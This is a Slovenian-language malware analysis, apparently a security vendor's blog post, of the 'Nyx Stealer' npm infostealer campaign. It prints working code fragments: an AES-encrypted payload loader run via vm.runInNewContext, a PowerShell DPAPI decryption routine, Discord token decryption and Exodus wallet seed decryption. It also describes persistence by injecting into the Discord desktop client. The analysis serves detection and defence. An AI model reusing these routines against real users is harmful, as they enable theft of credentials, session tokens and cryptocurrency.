TL; DR
Raziskovalna ekipa za varnost Xygeni odkril sofisticirano kampanjo kraje informacij npm, ki se je izvajala prek dveh zlonamernih paketov: konzolelofy in selfbot-lofy.
Najnovejša različica (consolelofy@1.3.0) vdela 216KB AES-šifriran koristni tovor, ki se dešifrira med izvajanjem in izvaja prek vm.runInNewContext()Ker je zlonamerna logika v celoti šifrirana, statični skenerji, ki se zanašajo na pregled nizov, ne morejo opazovati njenega vedenja do časa izvajanja.
Ko je koristni tovor dešifriran, interno označen Nyxova kradljivka, cilji:
- Žetoni za preverjanje pristnosti Discord
- Več kot 50 shramb poverilnic brskalnika
- Več kot 90 razširitev za kriptovalutne denarnice
- Seje na Robloxu, Instagramu, Spotifyju, Steamu, Telegramu in TikToku
- Vztrajnost odjemalca Discord za namizne računalnike
Prijavljenih je bilo vseh 20 različic v obeh paketih in potrjeno je bilo, da so zlonamerne.
Tehnični pregled tega npm Infostealerja
Za razliko od tradicionalne zlonamerne programske opreme, ki se namesti ob času namestitve, se ta kampanja zanaša na runtime model dešifriranja.
Obstajajo:
- Brez zlonamernega
preinstallorpostinstallhooks - Brez očitnih omrežnih klicev med namestitvijo
- Brez logike zbiranja poverilnic v navadnem besedilu
Ko je modul uvožen, se aktivira koristni tovor. Celotno zlonamerno telo je šifrirano in se v pomnilniku materializira šele med izvajanjem.
Ta zasnova se posebej izogiba zaznavanju med namestitvijo paketa.
Kako se ta npm Infostealer dejansko izvaja
Preden analiziramo, kaj Nyx Stealer krade, moramo razumeti kako se izvaja.
Zlonamerna logika znotraj tega npm infostealerja sledi doslednemu vzorcu:
Majhen nalagalnik dešifrira velik šifriran koristni tovor in ga dinamično izvede znotraj konteksta virtualnega stroja Node.js.
Ta zasnova je namerna. Napadalec ne skriva funkcionalnosti zgolj za zatemnitvijo, ampak popolna odstranitev zlonamerne kode iz statične vidnosti.
Model izvajanja na visoki ravni
Na visoki ravni ovojnica počne štiri stvari:
- Iz trdo kodiranega gesla z uporabo SHA-256 izpelje ključ AES
- Dešifrira veliko šestnajstiško kodirano šifrirano besedilo z uporabo AES-256-CBC
- Izvede dešifriran JavaScript z uporabo
vm.runInNewContext() - Zagotavlja peskovnik, ki še vedno razkriva zmogljive primitive izvajalnega okolja
Povzetek osnovne tehnike
| Sestavina | Konfiguracija / Vrednost |
|---|---|
| Algoritem | AES-256-CBC |
| Izpeljava ključa | SHA-256 (geslo) |
| Inicializacijski vektor (IV) | 16 bajtov 0x00 |
| Izvedba | vm.runInNewContext(dešifrirano, peskovnik) |
Ključno je, da peskovnik prehaja skozi:
requireprocessBuffer- časa
- izvoz modulov
To pomeni, da dešifrirani koristni tovor ohrani polno zmogljivost za:
- Procesi drstenja
- Branje in pisanje datotek
- Opravljanje omrežnih klicev
- Spremeni lokalne aplikacije
To ni omejeni virtualni stroj. Gre za virtualni stroj, ki se uporablja kot trampolin za izvajanje.
Vzorec šifriranja med izvajanjem (mehanizem izvajanja jedra)
Nakladalnik je majhen.
Zlonamerno telo ni.
Spodaj je vzorec izvajanja, ki ga najdete v paketu:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Zakaj to Matters
Dešifrirani koristni tovor:
- Ali ne obstajajo v obliki navadnega besedila znotraj paketa npm
- Je nevidno za preprosto
grepali statično skeniranje nizov - V pomnilniku se materializira le med izvajanjem
- Izvaja se s polnimi zmogljivostmi izvajalnega okolja Node
Ta kombinacija izvajanja AES + VM je močan vedenjski kazalnik npm infostealer poskuša izogniti statičnemu pregledu.
Z drugimi besedami:
Če pregledate drevo izvorne kode paketov, ne vidite kradljivca.
Vidiš dešifrator.
Kaj se zgodi po dešifriranju
Ko se Nyx Stealer enkrat izvede, sproži vzporedne valove zbiranja podatkov.
1. val: Pridobivanje poverilnic brskalnika
Zlonamerna programska oprema:
- Prenese izvajalno okolje Python iz NuGet CDN
- Namesti kriptografske knjižnice
- Izvleče shrambe poverilnic na osnovi Chromiuma
- Dešifrira skrivnosti, zaščitene z DPAPI
Namesto prevajanja izvornih povezav uporablja PowerShell za neposreden klic Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ta pristop:
- Izogiba se artefaktom pri prevajanju
- Uporablja izvorne kripto API-je za Windows
- Združuje se z administrativnimi orodji
Gre za dešifriranje poverilnic na ravni operacijskega sistema, ne za strganje.
2. val: Dešifriranje žetonov Discord
Talec pozna protokol. Razume Discordovo šifrirano obliko žetonov.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operativni tok:
- Izvleček glavnega ključa iz Discorda
Local State - Dešifriraj glavni ključ prek DPAPI-ja
- Dešifriraj blobove žetonov AES-GCM
- Preverjanje žetonov z Discord API-jem
- Obogatite z Nitro, značkami, podatki za obračunavanje
To ni generično izgubljanje poverilnic. Gre za ugrabitev seje, ki upošteva protokol.
3. val: Ciljanje denarnic za kriptovalute
NPM infostealer našteva:
- Več kot 90 razširitev za denarnice brskalnika
- 27 namiznih denarnic
- Poti hladnih denarnic
- Semenske datoteke Exodus
Primer poskusa dešifriranja semena:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Če je uspešno, je ogrožanje denarnice takojšnje in nepovratno.
To predstavlja vektor monetizacije kampanje z najvišjo vrednostjo.
Vztrajnost prek vbrizgavanja na namizje Discord
Po pridobitvi poverilnic Nyx Stealer poskuša ohraniti vztrajnost s spreminjanjem lokalnih Razpad odjemalec.
Ciljna:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operativno zaporedje
Kradljivalec informacij izvede naslednje korake:
- Prekine izvajanje Discord procesov
- Poišče nameščene različice Discorda (Stable, Canary, PTB)
- Prepiše
discord_desktop_core/index.js - Vbrizga logiko spletnega kavlja, ki jo nadzoruje napadalec
- Ponovno zažene Discord
To zagotavlja, da bodo prihodnje seje Discorda samodejno puščale nove žetone za preverjanje pristnosti.
Pomembno je, da ta vztrajnost ni odvisna od načrtovanih opravil ali sprememb registra. Izkorišča spreminjanje kode na ravni aplikacije, kar je bolj prikrit pristop.
Tudi če je zlonamerni paket npm kasneje odstranjen, odjemalec Discord ostane ogrožen.
Tehnična primerjava: Legitimni Selfbot proti npm Infostealerju
| Sestavina | Legitimna knjižnica | Nyx npm Infostealer |
|---|---|---|
| šifriranje | Noben | Popolnoma AES-šifriran koristni tovor |
| Izvajalni virtualni stroj | Ni potrebna | vm.runInNewContext izvedba |
| Dostop s poverilnicami | Samo Discord API | Brskalnik, denarnice, DPAPI |
| Zunanji prenosi | Ne | Izvajalno okolje Pythona prek NuGeta |
| Vztrajnost | Ne | Injekcija odjemalca Discord |
| Monetizacija | Avtomatizacija botov | Preprodaja poverilnic |
Že sama plast šifriranja loči to kampanjo od tipičnega odprtokodnega forka.
Legitimen Discord selfbot nima razloga za šifriranje celotne kodne baze, zaganjanje PowerShella za dostop do DPAPI, prenos zunanjih izvajalnih okolij ali spreminjanje notranjosti namiznih aplikacij. Ko se te zmogljivosti pojavijo znotraj odvisnosti, ki naj bi avtomatizirala interakcije Discorda, arhitekturnega neskladja ni mogoče prezreti.
Z vidika preiskave ta npm infostealer pušča sledi na več plasteh. Vendar pa najbolj zanesljivi kazalniki niso trdo kodirani URL-ji ali specifične poti do datotek, saj se ti lahko med različicami spreminjajo. Namesto tega so trajni signali strukturni.
Na ravni paketa je najmočnejši opozorilni znak kombinacija velikega šifriranega koristnega tovora in ovoja za dešifriranje med izvajanjem, ki se takoj izvede prek vm.runInNewContext()Čeprav šifriranje samo po sebi ni zlonamerno, je uporaba dešifriranja AES, ki mu sledi dinamično izvajanje na virtualnem stroju znotraj paketa pripomočkov Discord, zelo nenavadna.
Na ravni gostitelja sumljivi vzorci vključujejo nepričakovano aktivnost dešifriranja DPAPI, zagon procesov iz konteksta odvisnosti Node.js in spreminjanje lokalnih datotek aplikacij, ki jih knjižnice tretjih oseb nikoli ne bi smele spreminjati. Podobno na omrežni ravni predstavlja odhodna komunikacija v slogu spletnega kavlja, ki jo sproži razvojna odvisnost, še eno pomembno anomalijo.
Z drugimi besedami, površina zaznavanja ni posamezen kazalnik kompromitacije. Grožnjo razkriva korelacija šifriranja, izvajanja med izvajanjem, dostopa do poverilnic in obstojnosti.
Zaznavanje in blaženje z Xygeni
Ta npm infotealer je bil prepoznan s strani Xygenijev sistem za zgodnje opozarjanje na zlonamerno programsko opremo (MEW) s pomočjo večplastne vedenjske korelacije in ne s preprostim ujemanjem podpisov.
Namesto iskanja znanih zlonamernih nizov MEW ocenjuje strukturne anomalije v celotnem drevesu izvorne kode. V tem primeru je zaznavanje izhajalo iz konvergence več signalov: vgrajene rutine za dešifriranje AES v vstopni točki modula, takojšnjega izvajanja znotraj konteksta virtualnega stroja in očitnega neskladja med zmogljivostjo in namenom.
Pomembno je, da nobeden od teh signalov sam po sebi ne dokazuje zlonamernega namena. Vendar pa pri skupni analizi razkrijejo poskus prikrivanja vedenja med izvajanjem. Ta večplastni pristop znatno zmanjša lažno pozitivne rezultate, hkrati pa prepozna visoko zanesljive grožnje dobavni verigi.
Poleg tega ta primer ponazarja, zakaj sam pregled ob namestitvi ni zadosten. Zlonamerna logika se ne nahaja v skriptih življenjskega cikla. Aktivira se šele po nalaganju modula in postane vidna šele, ko je dešifriran v pomnilniku. Zato učinkovita obramba zahteva analizo, ki se zaveda šifriranja, prepoznavanje vedenjskih vzorcev in nenehno spremljanje odvisnosti tudi po namestitvi.
Odstranjevanje registra je reaktivno. Analiza, ki upošteva izvajanje, je preventivna.
Zakaj je ta npm kradljiva informacija pomembna
Nyx Stealer predstavlja strukturni razvoj zlonamerne programske opreme, ki temelji na npm.
V preteklosti so se številni zlonamerni paketi zanašali na vidne skripte ob namestitvi ali očitne končne točke za krajo poverilnic. Nasprotno pa ta kampanja šifrira svoj koristni tovor, preloži izvajanje na čas izvajanja, izkorišča legitimne API-je operacijskega sistema in vzpostavlja obstojnost znotraj zaupanja vrednih aplikacij.
Posledično napadalcu ni treba izkoristiti same infrastrukture npm. Namesto tega napad uspe, ker namestitev odvisnosti implicira zaupanje. Razvijalci domnevajo, da je uvoz knjižnice varna operacija, zlasti če se predstavi kot verjeten odcep priljubljenega orodja.
Ker ekosistemi še naprej rastejo in se razvejitve množijo, ta implicitna meja zaupanja postaja vse bolj privlačna površina za napad. Zato obramba pred sodobnimi kradljivci informacij o npm zahteva prepoznavanje arhitekturnih vzorcev in ne iskanje statičnih nizov.
Navsezadnje ta kampanja utrjuje ključno lekcijo v software supply chain securityNajnevarnejše grožnje niso tiste, ki so na prvi pogled videti zlonamerne, temveč tiste, ki se zdijo strukturno legitimne, dokler izvajanje ne razkrije njihovega pravega vedenja.




